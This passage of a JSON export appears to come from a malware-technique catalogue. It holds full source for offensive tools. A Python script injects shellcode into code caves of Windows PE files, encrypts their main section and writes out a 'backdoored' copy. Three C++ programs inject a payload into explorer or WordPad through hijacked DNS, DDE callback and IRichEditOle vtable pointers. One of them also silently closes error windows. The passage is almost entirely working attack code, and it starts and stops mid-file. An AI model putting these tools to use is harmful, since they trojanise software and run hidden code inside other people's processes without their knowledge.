only).\")\t\t\r\n\r\n\t\targument_parser.add_argument('-c', '--cave-opcodes', type=str, dest=\"cave_opcodes\", action=\"store\", default=\"\\\\x00\\\\x90\", help=\"Define code opcode list to search for.\")\r\n\r\n\t\targument_parser.add_argument('-s', '--cave-min-size', type=int, dest=\"cave_min_size\", action=\"store\", default=50, help=\"Minimum size of region to be considered as code cave.\")\t\t\t\t\r\n\r\n\t\targument_parser.add_argument('-e', '--egg', type=str, dest=\"egg\", action=\"store\", required=False, default=\"egg!\", help=\"Define a custom egg name (ESP Restore Mechanism)\")\r\n\r\n\t\ttry:\r\n\t\t\targv = argument_parser.parse_args()\t\t\r\n\t\texcept IOError as e:\r\n\t\t\tparser.error()\r\n\r\n\r\n\t\tif not argv.encrypt_main_section and (len(argv.payload) == 0):\r\n\t\t\traise Exception(\"You must either define a payload or decide to encrypt main section of target file in order to find this tool useful.\")\r\n\r\n\r\n\t\ttry:\r\n\t\t\tshellcode = bytestr_to_bytearr(argv.payload)\r\n\t\t\tcave_opcode = bytestr_to_bytearr(argv.cave_opcodes)\r\n\t\t\tencryption_key = bytestr_to_bytearr(argv.encryption_key)\r\n\t\texcept:\r\n\t\t\traise Exception(\"Malformed byte string. A byte string must be defined with the following format: \\\"\\\\x01\\\\x02\\\\x03...\\\\x0a\\\".\")\r\n\r\n\r\n\t\tif len(encryption_key) > 1:\r\n\t\t\traise Exception(\"Encryption key must be equal to 1 byte. Example: \\\"\\\\x0c\\\"\")\r\n\r\n\t\tdebug(f\"Loading PE File: {tcolors.blue}\\\"{argv.file}\\\"{tcolors.clear}\")\r\n\r\n\t\tpe = pefile.PE(argv.file, fast_load=False)\t\r\n\t\r\n\t\timage_base = pe.OPTIONAL_HEADER.ImageBase\r\n\t\tentry_point_address = pe.OPTIONAL_HEADER.AddressOfEntryPoint\r\n\r\n\t\tif pe.FILE_HEADER.Machine != pefile.MACHINE_TYPE[\"IMAGE_FILE_MACHINE_I386\"]:\r\n\t\t\traise Exception(\"This script is not compatible with x86-64 PE Files.\")\r\n\r\n\t\tdebug(f\"Image Base: {tcolors.blue}{hex(image_base)}{tcolors.clear}\")\r\n\t\tdebug(f\"Entry Point: {tcolors.blue}{hex(entry_point_address)}{tcolors.clear}\")\r\n\r\n\t\t#\r\n\t\t# Enumerate Code Caves in Executable Sections\r\n\t\t#\r\n\r\n\t\tcode_caves = []\r\n\r\n\t\tif len(cave_opcode) == 0:\r\n\t\t\traise Exception(f\"You must specify at least one code cave opcode (Ex: {tcolors.blue}\\\\x00\\\\x90{tcolors.clear}\")\r\n\r\n\t\tdebug(\"Searching for code caves...\")\r\n\t\tfor section in pe.sections:\r\n\t\t\tdebug(f\"Scanning {tcolors.blue}\\\"{get_section_name(section)}\\\"{tcolors.clear}, \" \\\r\n\t\t\t      f\"VirtualOffset=[{hex(section.VirtualAddress)}], RawOffset=[{hex(section.PointerToRawData)}], \" \\\r\n\t\t\t      f\"Size=[{hex(section.SizeOfRawData)}], Characteristics=[{hex(section.Characteristics)}]\")\r\n\r\n\t\t\tfor opcode in cave_opcode:\r\n\t\t\t\tcode_cave_finder(section, opcode)\r\n\r\n\r\n\t\t#\r\n\t\t# List found code caves\r\n\t\t#\t\r\n\t\tif len(code_caves) == 0:\r\n\t\t\twarning(\"No code cave present in target file.\")\r\n\t\telse:\r\n\t\t\ttitle(\"Code Cave Results\")\r\n\t\t\tfor index, cave in enumerate(code_caves):\r\n\t\t\t\tprint(f\"({tcolors.green}{index +1}{tcolors.clear}) Code cave in section=[{tcolors.blue}{cave.name}{tcolors.clear}], \"\\\r\n\t\t\t\t\t  f\"relative_offset=[{hex(cave.offset)}], cave_size=[{hex(cave.size)}], cave_type=[{hex(cave.type)}]\")\r\n\r\n\t\t\t#\r\n\t\t\t# Select desired code cave for payload injection\r\n\t\t\t#\r\n\t\t\tcave = None\t\t\r\n\t\t\twhile True:\r\n\t\t\t\tprint(f\"\\nEnter desired code cave index for code injection (CTRL+C to abort): \", end=\"\")\r\n\t\t\t\ttry:\t\t\t\t\t\r\n\t\t\t\t\tchoice = int(input())\t\t\t\t\r\n\r\n\t\t\t\t\tif (choice < 1) or (choice > len(code_caves)):\r\n\t\t\t\t\t\tcontinue\r\n\t\t\t\t\r\n\t\t\t\t\tcave = code_caves[choice -1]\r\n\r\n\t\t\t\t\tbreak\r\n\t\t\t\texcept KeyboardInterrupt:\r\n\t\t\t\t\traise Exception(\"\\nExecution aborted.\")\r\n\t\t\t\texcept:\r\n\t\t\t\t\tcontinue\r\n\r\n\t\t\tif not cave:\r\n\t\t\t\traise Exception(\"Unexpected error.\")\r\n\r\n\t\t\tdebug(\"Checking if cave section has correct flags set...\")\r\n\r\n\t\t\tdefine_section_rwe(cave.section)\r\n\r\n\t\t\tdebug(\"Retrieve section of entrypoint...\")\r\n\t\t\tentry_section = get_section_by_address(image_base + entry_point_address)\r\n\t\t\tif not entry_section:\r\n\t\t\t\traise Exception(\"Could not find section of entrypoint...\")\r\n\r\n\t\t\tsuccess(f\"Entrypoint is located in {get_section_name(entry_section)}.\")\t\t\t\r\n\r\n\t\t\tnew_entry_point_address = (cave.section.VirtualAddress + cave.offset)\r\n\r\n\t\t\tdebug(f\"Patch entrypoint address with code cave address: {hex(entry_point_address)} to {hex(new_entry_point_address)}.\")\r\n\r\n\t\t\tpe.OPTIONAL_HEADER.AddressOfEntryPoint = new_entry_point_address\r\n\r\n\t\t\t#\r\n\t\t\t# Start Encryption Mechanisms\r\n\t\t\t#\r\n\r\n\t\t\tif argv.encrypt_main_section:\r\n\t\t\t\tdebug(\"Prepare main section (entrypoint section) encryption...\")\t\t\t\t\r\n\r\n\t\t\t\tdefine_section_rwe(entry_section)\r\n\r\n\t\t\t\tdebug(\"Start encryption....\")\r\n\r\n\t\t\t\tencrypt_section(entry_section, encryption_key[0])\t\t\t\t\t\r\n\r\n\t\t\t\tsuccess(\"Main section successfully encrypted.\")\r\n\r\n\t\t\tdebug(\"Carving code cave payload...\")\r\n\r\n\t\t\t#\r\n\t\t\t# Prologue\r\n\t\t\t#\r\n\r\n\t\t\tdebug(\"Writing code cave prologue: saving registers, flags, ESP recovery mechanism...\")\t\t\t\r\n\r\n\t\t\t# Save registers and flags\r\n\t\t\tpayload = b\"\"\r\n\t\t\tpayload += b\"\\x60\" # pushad\r\n\t\t\tpayload += b\"\\x9C\" # pushfd\t\t\t\t\t\t\r\n\r\n\t\t\t# Place eggs to recover stack state (restore ESP to original and expected value)\t\t\r\n\t\t\tegg = argv.egg.encode('ascii')[::-1]\r\n\t\t\tpayload += ((b\"\\x68\" + egg) * 2) # egg!egg!\r\n\r\n\r\n\t\t\t#\r\n\t\t\t# Decryption Routine (If encryption was requested)\r\n\t\t\t# \r\n\t\t\tif argv.encrypt_main_section:\r\n\t\t\t\tdebug(\"Writing code cave decryption routine to decrypt main section...\")\r\n\r\n\t\t\t\tpayload += b\"\\xe8\\x00\\x00\\x00\\x00\"              # call (next_instruction) and save EIP to ESP\r\n\t\t\t\tpayload += b\"\\x5e\"                              # pop esi\r\n\t\t\t\tpayload += b\"\\x83\\xee\"                          # sub esi, (payload_length)\r\n\t\t\t\tpayload += struct.pack(\"B\", len(payload)- 3)    # -3 because we don't count two last instructions\r\n\t\t\t\tpayload += b\"\\x56\"                              # push esi\r\n\t\t\t\tpayload += b\"\\x5f\"                              # pop edi\r\n\t\t\t\tpayload += b\"\\x81\\xc7\"                          # add edi, (size of cave)\r\n\t\t\t\tpayload += struct.pack(\"<I\", cave.size)         # size of cave in Little Endian\r\n\t\t\t\tpayload += b\"\\x56\"                              # push esi\r\n\t\t\t\tpayload += b\"\\x58\"                              # pop eax\r\n\r\n\t\t\t\torigine_offset = image_base + cave.section.VirtualAddress + cave.offset\r\n\t\t\t\tdestination_offset = image_base + entry_section.VirtualAddress\r\n\r\n\t\t\t\tif origine_offset > destination_offset:\r\n\t\t\t\t\tpayload += b\"\\x2d\"                          # sub eax, ????????\r\n\t\t\t\t\tpayload += struct.pack(\"<I\", (origine_offset - destination_offset))\r\n\t\t\t\telse:\r\n\t\t\t\t\tpayload += b\"\\x05\"                          # add eax, ????????\r\n\t\t\t\t\tpayload += struct.pack(\"<I\", (destination_offset - origine_offset))\r\n\r\n\t\t\t\tpayload += b\"\\x50\"         # push eax\r\n\t\t\t\tpayload += b\"\\x5b\"         # pop ebx\r\n\t\t\t\tpayload += b\"\\x81\\xc3\"     # add ebx, (main section start + end)\r\n\t\t\t\tpayload += struct.pack(\"<I\", entry_section.SizeOfRawData)\r\n\r\n\t\t\t\tpayload += b\"\\x3b\\xc6\"     # cmp eax, esi\r\n\t\t\t\tpayload += b\"\\x7c\\x04\"     # jl (xor routine)\r\n\t\t\t\tpayload += b\"\\x3b\\xc7\"     # cmp eax, edi\r\n\t\t\t\tpayload += b\"\\x7c\\x03\"     # jl (inc eax)\r\n\t\t\t\tpayload += b\"\\x80\\x30\"     # xor byte [eax], (xor_key_byte)\r\n\t\t\t\tpayload += struct.pack(\"B\", encryption_key[0])\r\n\t\t\t\tpayload += b\"\\x40\"         # inc eax\r\n\t\t\t\tpayload += b\"\\x3b\\xc3\"     # cmp eax, ebx\r\n\t\t\t\tpayload += b\"\\x75\\xf0\"     # jne (cmp eax, esi)\r\n\r\n\r\n\t\t\t#\r\n\t\t\t# Insert Shellcode\r\n\t\t\t#\r\n\t\t\tif argv.payload:\r\n\t\t\t\tdebug(f\"Writing shellcode payload, size=[{hex(len(shellcode))}]...\")\r\n\r\n\t\t\t\tpayload += bytes(shellcode)\r\n\r\n\t\t\t#\r\n\t\t\t# Epilogue (Restore ESP, registers, entrypoint)\r\n\t\t\t#\r\n\r\n\t\t\tdebug(\"Writing code cave epilogue: restore ESP, flags, registers and jump back to original entrypoint...\")\t\t\r\n\r\n\t\t\t# restore ESP\r\n\t\t\tpayload += b\"\\xb8\" + egg   # mov eax, \"egg\"\r\n\t\t\tpayload += b\"\\x54\"         # push esp\r\n\t\t\tpayload += b\"\\x5f\"         # pop edi\r\n\t\t\tpayload += b\"\\xaf\"         # scasd\r\n\t\t\tpayload += b\"\\x75\\x0c\"     # jnz _pop_ebx\r\n\t\t\tpayload += b\"\\xaf\"         # scasd\r\n\t\t\tpayload += b\"\\x75\\x09\"     # jnz _pop_ebx\r\n\t\t\tpayload += b\"\\x57\"         # push edi\r\n\t\t\tpayload += b\"\\x5c\"         # pop esp\r\n\r\n\t\t\t# Restore Registers\r\n\t\t\tpayload += b\"\\x9D\"         # popfd\r\n\t\t\tpayload += b\"\\x61\"         # popad\t\t\r\n\r\n\t\t\tinstruction_size = 5  # bytes (0xe9/jmp) 0x???????? (Little Endian)\r\n\r\n\t\t\tfrom_offset = cave.section.VirtualAddress + cave.offset + len(payload) + instruction_size\r\n\r\n\t\t\tjmp_to_offset = get_rel_distance(from_offset, entry_point_address)\r\n\r\n\t\t\t# Jump back to original entrypoint\r\n\t\t\tpayload += b\"\\xe9\"                           # jmp\r\n\t\t\tpayload += struct.pack(\"<I\", jmp_to_offset)  # ????????\r\n\r\n\t\t\t# Part of ESP restoration\r\n\t\t\tpayload += b\"\\x5b\"                           # pop ebx\r\n\t\t\tpayload += b\"\\xeb\\xee\"                       # jmp _push_esp\t\t\r\n\r\n\t\t\t#\r\n\t\t\t# Write Final Payload to Section\r\n\t\t\t#\r\n\r\n\t\t\tif len(payload) > cave.size:\r\n\t\t\t\terror(\"Cave size is too small to be used with your payload.\")\r\n\t\t\telse:\r\n\t\t\t\tpe.set_bytes_at_offset((cave.section.PointerToRawData + cave.offset), payload)\r\n\r\n\t\t\t\tfile_info = os.path.splitext(argv.file)\r\n\r\n\t\t\t\toutput_file = f\"{file_info[0]}_backdoored{file_info[1]}\"\r\n\r\n\t\t\t\tsuccess(f\"Success! backdoored version location: \\\"{output_file}\\\".\")\r\n\t\t\t\t\t\t\r\n\t\t\t\tpe.write(output_file)\r\n\texcept Exception as e:\r\n\t\texc_type, exc_obj, exc_tb = sys.exc_info()\r\n\t\terror(f\"{str(e)}, line=[{exc_tb.tb_lineno}]\")"
        },
        {
            "id": 52,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/161/?format=api",
            "description": "Tested on Windows 10 64-bit.",
            "plain_code": "#include \"../ntlib/util.h\"\r\n\r\nHRESULT GetDesktopShellView(REFIID riid, void **ppv) {\r\n    HWND           hwnd;\r\n    IDispatch      *pdisp;\r\n    IShellWindows  *psw;\r\n    VARIANT        vEmpty = {};\r\n    IShellBrowser  *psb;\r\n    IShellView     *psv;\r\n    HRESULT        hr;\r\n    \r\n    *ppv = NULL;\r\n        \r\n    hr = CoCreateInstance(CLSID_ShellWindows, \r\n      NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&psw));\r\n      \r\n    if(hr == S_OK) {\r\n      hr = psw->FindWindowSW(\r\n        &vEmpty, &vEmpty, \r\n        SWC_DESKTOP, (long*)&hwnd, \r\n        SWFO_NEEDDISPATCH, &pdisp);\r\n        \r\n      if(hr == S_OK) {\r\n        hr = IUnknown_QueryService(\r\n          pdisp, SID_STopLevelBrowser, IID_PPV_ARGS(&psb));\r\n        if(hr == S_OK) {\r\n          hr = psb->QueryActiveShellView(&psv);\r\n          if(hr == S_OK) {\r\n            hr = psv->QueryInterface(riid, ppv);\r\n            psv->Release();\r\n          }\r\n          psb->Release();\r\n        }\r\n        pdisp->Release();\r\n      }\r\n      psw->Release();\r\n    }\r\n    return hr;\r\n}\r\n\r\nHRESULT GetShellDispatch(\r\n  IShellView *psv, REFIID riid, void **ppv) \r\n{\r\n    IShellFolderViewDual *psfvd;\r\n    IDispatch            *pdispBackground, *pdisp;;\r\n    HRESULT              hr;\r\n    \r\n    *ppv = NULL;\r\n    hr = psv->GetItemObject(\r\n      SVGIO_BACKGROUND, IID_PPV_ARGS(&pdispBackground));\r\n    \r\n    if(hr == S_OK) {\r\n      hr = pdispBackground->QueryInterface(IID_PPV_ARGS(&psfvd));\r\n      if(hr == S_OK) {\r\n        hr = psfvd->get_Application(&pdisp);\r\n        if(hr == S_OK) {\r\n          hr = pdisp->QueryInterface(riid, ppv);\r\n          pdisp->Release();\r\n        }\r\n        psfvd->Release();\r\n      }\r\n      pdispBackground->Release();\r\n    }\r\n    return hr;\r\n}\r\n\r\nHRESULT ShellExecInExplorer(PCWSTR pszFile) {\r\n    IShellView      *psv;\r\n    IShellDispatch2 *psd;\r\n    HRESULT         hr;\r\n    BSTR            bstrFile;\r\n    VARIANT         vtHide, vtEmpty = {};\r\n    \r\n    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);\r\n    \r\n    bstrFile = SysAllocString(pszFile);\r\n    if(bstrFile == NULL) return E_OUTOFMEMORY;\r\n    \r\n    hr = GetDesktopShellView(IID_PPV_ARGS(&psv));\r\n    if(hr == S_OK) {\r\n      hr = GetShellDispatch(psv, IID_PPV_ARGS(&psd));\r\n      if(hr == S_OK) {\r\n        V_VT(&vtHide)  = VT_INT;\r\n        V_INT(&vtHide) = SW_HIDE;\r\n        hr = psd->ShellExecuteW(\r\n          bstrFile, vtEmpty, vtEmpty, vtEmpty, vtEmpty);\r\n        psd->Release();\r\n      }\r\n      psv->Release();\r\n    }\r\n    SysFreeString(bstrFile);\r\n    return hr;\r\n}\r\n\r\nLPVOID GetDnsApiAddr(DWORD pid) {\r\n    LPVOID                m, rm, va = NULL;\r\n    PIMAGE_DOS_HEADER     dos;\r\n    PIMAGE_NT_HEADERS     nt;\r\n    PIMAGE_SECTION_HEADER sh;\r\n    DWORD                 i, cnt, rva=0;\r\n    PULONG_PTR            ds;\r\n    \r\n    // does remote have dnsapi loaded?\r\n    rm  = GetRemoteModuleHandle(pid, L\"dnsapi.dll\");\r\n    if(rm == NULL) return NULL;\r\n    \r\n    // load local copy\r\n    m   = LoadLibrary(L\"dnsapi.dll\");\r\n    dos = (PIMAGE_DOS_HEADER)m;  \r\n    nt  = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew);  \r\n    sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + \r\n          nt->FileHeader.SizeOfOptionalHeader);\r\n          \r\n    // locate the .data segment, save VA and number of pointers\r\n    for(i=0; i<nt->FileHeader.NumberOfSections; i++) {\r\n      if(*(PDWORD)sh[i].Name == *(PDWORD)\".data\") {\r\n        ds  = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress);\r\n        cnt = sh[i].Misc.VirtualSize / sizeof(ULONG_PTR);\r\n        break;\r\n      }\r\n    }\r\n    // for each pointer\r\n    for(i=0; i<cnt - 1; i++) {\r\n      // if two pointers side by side are not to code, skip it\r\n      if(!IsCodePtr((LPVOID)ds[i  ])) continue;\r\n      if(!IsCodePtr((LPVOID)ds[i+1])) continue;\r\n      // calculate VA in remote process\r\n      va = ((PBYTE)&ds[i] - (PBYTE)m) + (PBYTE)rm;\r\n      break;\r\n    }\r\n    return va;\r\n}\r\n\r\n// for any \"Network Error\", close the window\r\nVOID SuppressErrors(LPVOID lpParameter) {\r\n    HWND hw;\r\n    \r\n    for(;;) {\r\n      hw = FindWindowEx(NULL, NULL, NULL, L\"Network Error\");\r\n      if(hw != NULL) {\r\n        PostMessage(hw, WM_CLOSE, 0, 0);\r\n      }\r\n    }\r\n}\r\n\r\nVOID dns_inject(LPVOID payload, DWORD payloadSize) {\r\n    LPVOID dns, cs, ptr;\r\n    DWORD  pid, cnt, tick, i, t;\r\n    HANDLE hp, ht;\r\n    SIZE_T wr;\r\n    HWND   hw;\r\n    WCHAR  unc[32]={L'\\\\', L'\\\\'}; // UNC path to invoke DNS api\r\n\r\n    // 1. obtain process id for explorer\r\n    //    and try read address of function pointers\r\n    GetWindowThreadProcessId(GetShellWindow(), &pid); \r\n    ptr = GetDnsApiAddr(pid);\r\n    \r\n    // 2. create a thread to suppress network errors displayed\r\n    ht = CreateThread(NULL, 0, \r\n      (LPTHREAD_START_ROUTINE)SuppressErrors, NULL, 0, NULL);\r\n      \r\n    // 3. if dns api not already loaded, try force \r\n    // explorer to load via fake UNC path\r\n    if(ptr == NULL) {\r\n      tick = GetTickCount();\r\n      for(i=0; i<8; i++) {\r\n        unc[2+i] = (tick % 26) + 'a';\r\n        tick >>= 2;\r\n      }\r\n      ShellExecInExplorer(unc);\r\n      ptr = GetDnsApiAddr(pid);\r\n    }\r\n    \r\n    if(ptr != NULL) {\r\n      // 4. open explorer, backup address of dns function.\r\n      //    allocate RWX memory and write payload\r\n      hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n      ReadProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);\r\n      cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n      WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n      \r\n      // 5. overwrite pointer to dns function\r\n      //    generate fake UNC path and trigger execution\r\n      WriteProcessMemory(hp, ptr, &cs, sizeof(ULONG_PTR), &wr);\r\n      tick = GetTickCount();\r\n      for(i=0; i<8; i++) {\r\n        unc[2+i] = (tick % 26) + L'a';\r\n        tick >>= 2;\r\n      }\r\n      ShellExecInExplorer(unc);\r\n      \r\n      // 6. restore dns function, release memory and close process\r\n      WriteProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);\r\n      VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n      CloseHandle(hp);\r\n    }\r\n    // 7. terminate thread\r\n    TerminateThread(ht, 0);\r\n}\r\n\r\nint main(void) {\r\n    LPVOID  pic;\r\n    DWORD   len;\r\n    int     argc;\r\n    wchar_t **argv;\r\n    \r\n    argv = CommandLineToArgvW(GetCommandLineW(), &argc);\r\n    \r\n    if(argc != 2) {\r\n      printf(\"\\nusage: dnsinject <payload.bin>\\n\");\r\n      return 0;\r\n    }\r\n\r\n    len=readpic(argv[1], &pic);\r\n    if (len==0) { printf(\"\\ninvalid payload\\n\"); return 0;}\r\n    \r\n    dns_inject(pic, len);\r\n    \r\n    return 0;\r\n}"
        },
        {
            "id": 53,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/162/?format=api",
            "description": "",
            "plain_code": "#include \"../ntlib/util.h\"\r\n\r\ntypedef struct tagLINK_COUNT *PLINK_COUNT;\r\ntypedef ATOM LATOM;\r\n\r\ntypedef struct tagSERVER_LOOKUP {\r\n    LATOM           laService;\r\n    LATOM           laTopic;\r\n    HWND            hwndServer;\r\n} SERVER_LOOKUP, *PSERVER_LOOKUP;\r\n\r\ntypedef struct tagCL_INSTANCE_INFO {\r\n    struct tagCL_INSTANCE_INFO *next;\r\n    HANDLE                      hInstServer;\r\n    HANDLE                      hInstClient;\r\n    DWORD                       MonitorFlags;\r\n    HWND                        hwndMother;\r\n    HWND                        hwndEvent;\r\n    HWND                        hwndTimeout;\r\n    DWORD                       afCmd;\r\n    PFNCALLBACK                 pfnCallback;\r\n    DWORD                       LastError;\r\n    DWORD                       tid;\r\n    LATOM                      *plaNameService;\r\n    WORD                        cNameServiceAlloc;\r\n    PSERVER_LOOKUP              aServerLookup;\r\n    short                       cServerLookupAlloc;\r\n    WORD                        ConvStartupState;\r\n    WORD                        flags;              // IIF_ flags\r\n    short                       cInDDEMLCallback;\r\n    PLINK_COUNT                 pLinkCount;\r\n} CL_INSTANCE_INFO, *PCL_INSTANCE_INFO;\r\n\r\n#define GWLP_INSTANCE_INFO 0 // PCL_INSTANCE_INFO\r\n\r\nVOID dde_inject(LPVOID payload, DWORD payloadSize) {\r\n    HWND             hw;\r\n    SIZE_T           rd, wr;\r\n    LPVOID           ptr, cs;\r\n    HANDLE           hp;\r\n    CL_INSTANCE_INFO pcii;\r\n    CONVCONTEXT      cc;\r\n    HCONVLIST        cl;\r\n    DWORD            pid, idInst = 0;\r\n    \r\n    // 1. find a DDEML window and read the address \r\n    //    of CL_INSTANCE_INFO\r\n    hw = FindWindowEx(NULL, NULL, L\"DDEMLMom\", NULL);\r\n    if(hw == NULL) return;\r\n    ptr = (LPVOID)GetWindowLongPtr(hw, GWLP_INSTANCE_INFO);\r\n    if(ptr == NULL) return;\r\n      \r\n    // 2. open the process and read CL_INSTANCE_INFO\r\n    GetWindowThreadProcessId(hw, &pid);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n    if(hp == NULL) return;\r\n    ReadProcessMemory(hp, ptr, &pcii, sizeof(pcii), &rd);\r\n    \r\n    // 3. allocate RWX memory and write payload there.\r\n    //    update callback\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    WriteProcessMemory(\r\n      hp, (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), \r\n      &cs, sizeof(ULONG_PTR), &wr);\r\n            \r\n    // 4. trigger execution via DDE protocol\r\n    DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0);\r\n    ZeroMemory(&cc, sizeof(cc));\r\n    cc.cb = sizeof(cc);\r\n    cl = DdeConnectList(idInst, 0, 0, 0, &cc);\r\n    DdeDisconnectList(cl);\r\n    DdeUninitialize(idInst);\r\n    \r\n    // 5. restore original pointer and cleanup\r\n    WriteProcessMemory(\r\n      hp, \r\n      (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), \r\n      &pcii.pfnCallback, sizeof(ULONG_PTR), &wr);\r\n          \r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}\r\n\r\nVOID dde_list(VOID) {\r\n    CONVCONTEXT cc;\r\n    HCONVLIST   cl;\r\n    DWORD       idInst = 0;\r\n    HCONV       c = NULL;\r\n    CONVINFO    ci;\r\n    WCHAR       server[MAX_PATH];\r\n    \r\n    if(DMLERR_NO_ERROR != DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0)) {\r\n      printf(\"unable to initialize : %i.\\n\", GetLastError());\r\n      return;\r\n    }\r\n    \r\n    ZeroMemory(&cc, sizeof(cc));\r\n    cc.cb = sizeof(cc);\r\n    cl = DdeConnectList(idInst, 0, 0, 0, &cc);\r\n    \r\n    if(cl != NULL) {\r\n      for(;;) {\r\n        c = DdeQueryNextServer(cl, c);\r\n        if(c == NULL) break;\r\n        ci.cb = sizeof(ci);\r\n        DdeQueryConvInfo(c, QID_SYNC, &ci);\r\n        DdeQueryString(idInst, ci.hszSvcPartner, server, MAX_PATH, CP_WINUNICODE);\r\n        \r\n        printf(\"Service : %-10ws Process : %ws\\n\", \r\n          server, wnd2proc(ci.hwndPartner));\r\n      }\r\n      DdeDisconnectList(cl);\r\n    } else {\r\n      printf(\"DdeConnectList : %x\\n\", DdeGetLastError(idInst));\r\n    }\r\n    DdeUninitialize(idInst);\r\n}\r\n\r\nint main(void) {\r\n    LPVOID  pic;\r\n    DWORD   len;\r\n    int     argc;\r\n    wchar_t **argv;\r\n    \r\n    argv = CommandLineToArgvW(GetCommandLineW(), &argc);\r\n    \r\n    if(argc != 2) {\r\n      dde_list();\r\n      printf(\"\\n\\nusage: dde_inject <payload>.\\n\");\r\n      return 0;\r\n    }\r\n\r\n    len=readpic(argv[1], &pic);\r\n    if (len==0) { printf(\"\\ninvalid payload\\n\"); return 0;}\r\n    \r\n    dde_inject(pic, len);\r\n    \r\n    return 0;\r\n}"
        },
        {
            "id": 48,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/156/?format=api",
            "description": "",
            "plain_code": "typedef struct _IRichEditOle_t {\r\n    ULONG_PTR QueryInterface;\r\n    ULONG_PTR AddRef;\r\n    ULONG_PTR Release;\r\n    ULONG_PTR GetClientSite;\r\n    ULONG_PTR GetObjectCount;\r\n    ULONG_PTR GetLinkCount;\r\n    ULONG_PTR GetObject;\r\n    ULONG_PTR InsertObject;\r\n    ULONG_PTR ConvertObject;\r\n    ULONG_PTR ActivateAs;\r\n    ULONG_PTR SetHostNames;\r\n    ULONG_PTR SetLinkAvailable;\r\n    ULONG_PTR SetDvaspect;\r\n    ULONG_PTR HandsOffStorage;\r\n    ULONG_PTR SaveCompleted;\r\n    ULONG_PTR InPlaceDeactivate;\r\n    ULONG_PTR ContextSensitiveHelp;\r\n    ULONG_PTR GetClipboardData;\r\n    ULONG_PTR ImportDataObject;\r\n} _IRichEditOle;\r\n\r\nVOID oleum(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE                hp;\r\n    DWORD                 id;\r\n    HWND                  rew;\r\n    LPVOID                cs, ds, ptr, mem, tbl;\r\n    SIZE_T                rd, wr;\r\n    _IRichEditOle         reo;\r\n    \r\n    // 1. Get the window handle\r\n    rew = FindWindow(L\"WordPadClass\", NULL);\r\n    rew = FindWindowEx(rew, NULL, L\"RICHEDIT50W\", NULL);\r\n    \r\n    // 2. Obtain the process id and try to open process\r\n    GetWindowThreadProcessId(rew, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 3. Allocate RWX memory and copy the payload there\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n      \r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 4. Allocate RW memory for the current address\r\n    ptr = VirtualAllocEx(hp, NULL, sizeof(ULONG_PTR),\r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n      \r\n    // 5. Query the interface\r\n    SendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr);\r\n    \r\n    // 6. Read the memory address\r\n    ReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);\r\n\r\n    // 7. Read IRichEditOle.lpVtbl\r\n    ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);\r\n\r\n    // 8. Read virtual function table\r\n    ReadProcessMemory(hp, tbl, &reo, sizeof(_IRichEditOle), &wr);\r\n\r\n    // 9. Allocate memory for copy of virtual table\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(_IRichEditOle),\r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n      \r\n    // 10. Set the GetClipboardData method to address of payload\r\n    reo.GetClipboardData = (ULONG_PTR)cs;\r\n    \r\n    // 11. Write new virtual function table to remote memory\r\n    WriteProcessMemory(hp, ds, &reo, sizeof(_IRichEditOle), &wr);\r\n    \r\n    // 12. update IRichEditOle.lpVtbl\r\n    WriteProcessMemory(hp, mem, &ds, sizeof(ULONG_PTR), &wr); \r\n    \r\n    // 13. Trigger payload by invoking the GetClipboardData method\r\n    PostMessage(rew, WM_COPY, 0, 0);\r\n    \r\n    // 14. Restore original value of IRichEditOle.lpVtbl\r\n    WriteProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 15. Free memory and close process handle\r\n    